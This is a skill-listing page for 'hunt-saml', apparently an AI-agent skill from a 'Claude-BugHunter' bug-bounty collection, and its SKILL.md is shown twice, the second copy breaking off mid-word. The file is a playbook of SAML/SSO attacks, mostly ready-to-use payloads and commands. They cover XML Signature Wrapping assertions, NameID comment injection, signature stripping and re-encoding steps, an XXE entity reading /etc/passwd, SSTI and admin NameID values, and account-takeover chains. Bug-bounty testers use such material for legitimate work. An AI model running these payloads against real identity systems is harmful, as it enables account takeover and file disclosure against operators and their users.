hunt-saml

Name: hunt-saml
Author: elementalsouls

3.0kstars461forks

How to install hunt-saml?

elementalsouls/claude-bughunter/hunt-saml

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-saml

Installs into the current project.

Summary

Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com@attacker.com → some parsers see admin@target.com), signature stripping (remove S

Files · 1

View on GitHub

SKILL.md

1	## 20. SAML / SSO ATTACKS
2	> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
3
4	### Attack Surface
5	```bash
6	# Find SAML endpoints
7	cat recon/$TARGET/urls.txt \| grep -iE "saml\|sso\|login.*redirect\|oauth\|idp\|sp"
8	# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
9	```
10
11	### Attack 1: XML Signature Wrapping (XSW)
12	```xml
13	<!-- BEFORE: valid assertion by user@company.com -->
14	<saml:Response>
15	<saml:Assertion ID="legit">
16	<NameID>user@company.com</NameID>
17	<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
18	</saml:Assertion>
19	</saml:Response>
20
21	<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
22	App processes the FIRST assertion found = evil. -->
23	<saml:Response>
24	<saml:Assertion ID="evil">
25	<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
26	</saml:Assertion>
27	<saml:Assertion ID="legit">
28	<NameID>user@company.com</NameID>
29	<ds:Signature><!-- Valid --></ds:Signature>
30	</saml:Assertion>
31	</saml:Response>
32	```
33
34	### Attack 2: Comment Injection in NameID
35	```xml
36	<!-- Attacker registers/controls account: admin@company.com.evil.com -->
37	<NameID>admin@company.com<!---->.evil.com</NameID>
38	<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
39	digest): "admin@company.com.evil.com" — the value the signature covers. -->
40	<!-- App's XML processor also strips the comment but only reads the text node
41	UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
42	identity than was signed. The discrepancy is the bug. -->
43	<!-- Works when signer's C14N and app's text extraction disagree on comments.
44	CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
45	```
46
47	### Attack 3: Signature Stripping
48	```
49	1. Decode SAMLResponse: echo "BASE64" \| base64 -d \| xmllint --format - > saml.xml
50	2. Delete the entire <Signature> element
51	3. Change NameID to admin@company.com
52	4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
53	5. Submit — if server doesn't verify signature presence = admin ATO
54	```
55
56	### Attack 4: XXE in SAML Assertion
57	```xml
58	<?xml version="1.0"?>
59	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
60	<saml:Assertion>
61	<NameID>&xxe;</NameID>
62	</saml:Assertion>
63	```
64
65	### Attack 5: NameID Manipulation
66	```
67	Test these NameID values:
68	- admin@company.com (generic admin)
69	- administrator@company.com
70	- support@target.com
71	- Any email found in disclosed reports for this program
72	- ${7*7} (SSTI if NameID gets rendered in a template)
73	```
74
75	### Tools
76	```bash
77	# SAMLRaider (Burp extension) — automated XSW testing
78	# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
79
80	# Manual workflow:
81	echo "BASE64_SAML" \| base64 -d > saml.xml
82	# Edit saml.xml
83	base64 -w0 saml.xml # Re-encode
84	# URL-encode the result before sending as SAMLResponse parameter
85	```
86
87	### SAML Triage
88	```
89	XSW successful = Critical (ATO any user)
90	Sig stripping = Critical (ATO any user)
91	Comment injection = High (ATO admin)
92	XXE in assertion = High (file read / SSRF)
93	NameID manip = Medium/High (depends on what NameID maps to)
94	```
95
96	---
97
98	## Related Skills & Chains
99
100	- `hunt-ato` — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
101	- `hunt-auth-bypass` — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admi

People who liked this also viewed

6 picks

Type

hunt-saml

3.0kstars461forks

View on GitHub

How to install hunt-saml?

elementalsouls/claude-bughunter/hunt-saml

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-saml

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	## 20. SAML / SSO ATTACKS
2	> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
3
4	### Attack Surface
5	```bash
6	# Find SAML endpoints
7	cat recon/$TARGET/urls.txt \| grep -iE "saml\|sso\|login.*redirect\|oauth\|idp\|sp"
8	# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
9	```
10
11	### Attack 1: XML Signature Wrapping (XSW)
12	```xml
13	<!-- BEFORE: valid assertion by user@company.com -->
14	<saml:Response>
15	<saml:Assertion ID="legit">
16	<NameID>user@company.com</NameID>
17	<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
18	</saml:Assertion>
19	</saml:Response>
20
21	<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
22	App processes the FIRST assertion found = evil. -->
23	<saml:Response>
24	<saml:Assertion ID="evil">
25	<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
26	</saml:Assertion>
27	<saml:Assertion ID="legit">
28	<NameID>user@company.com</NameID>
29	<ds:Signature><!-- Valid --></ds:Signature>
30	</saml:Assertion>
31	</saml:Response>
32	```
33
34	### Attack 2: Comment Injection in NameID
35	```xml
36	<!-- Attacker registers/controls account: admin@company.com.evil.com -->
37	<NameID>admin@company.com<!---->.evil.com</NameID>
38	<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
39	digest): "admin@company.com.evil.com" — the value the signature covers. -->
40	<!-- App's XML processor also strips the comment but only reads the text node
41	UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
42	identity than was signed. The discrepancy is the bug. -->
43	<!-- Works when signer's C14N and app's text extraction disagree on comments.
44	CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
45	```
46
47	### Attack 3: Signature Stripping
48	```
49	1. Decode SAMLResponse: echo "BASE64" \| base64 -d \| xmllint --format - > saml.xml
50	2. Delete the entire <Signature> element
51	3. Change NameID to admin@company.com
52	4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
53	5. Submit — if server doesn't verify signature presence = admin ATO
54	```
55
56	### Attack 4: XXE in SAML Assertion
57	```xml
58	<?xml version="1.0"?>
59	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
60	<saml:Assertion>
61	<NameID>&xxe;</NameID>
62	</saml:Assertion>
63	```
64
65	### Attack 5: NameID Manipulation
66	```
67	Test these NameID values:
68	- admin@company.com (generic admin)
69	- administrator@company.com
70	- support@target.com
71	- Any email found in disclosed reports for this program
72	- ${7*7} (SSTI if NameID gets rendered in a template)
73	```
74
75	### Tools
76	```bash
77	# SAMLRaider (Burp extension) — automated XSW testing
78	# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
79
80	# Manual workflow:
81	echo "BASE64_SAML" \| base64 -d > saml.xml
82	# Edit saml.xml
83	base64 -w0 saml.xml # Re-encode
84	# URL-encode the result before sending as SAMLResponse parameter
85	```
86
87	### SAML Triage
88	```
89	XSW successful = Critical (ATO any user)
90	Sig stripping = Critical (ATO any user)
91	Comment injection = High (ATO admin)
92	XXE in assertion = High (file read / SSRF)
93	NameID manip = Medium/High (depends on what NameID maps to)
94	```
95
96	---
97
98	## Related Skills & Chains
99
100	- `hunt-ato` — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
101	- `hunt-auth-bypass` — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admi

People who liked this also viewed

6 picks

Type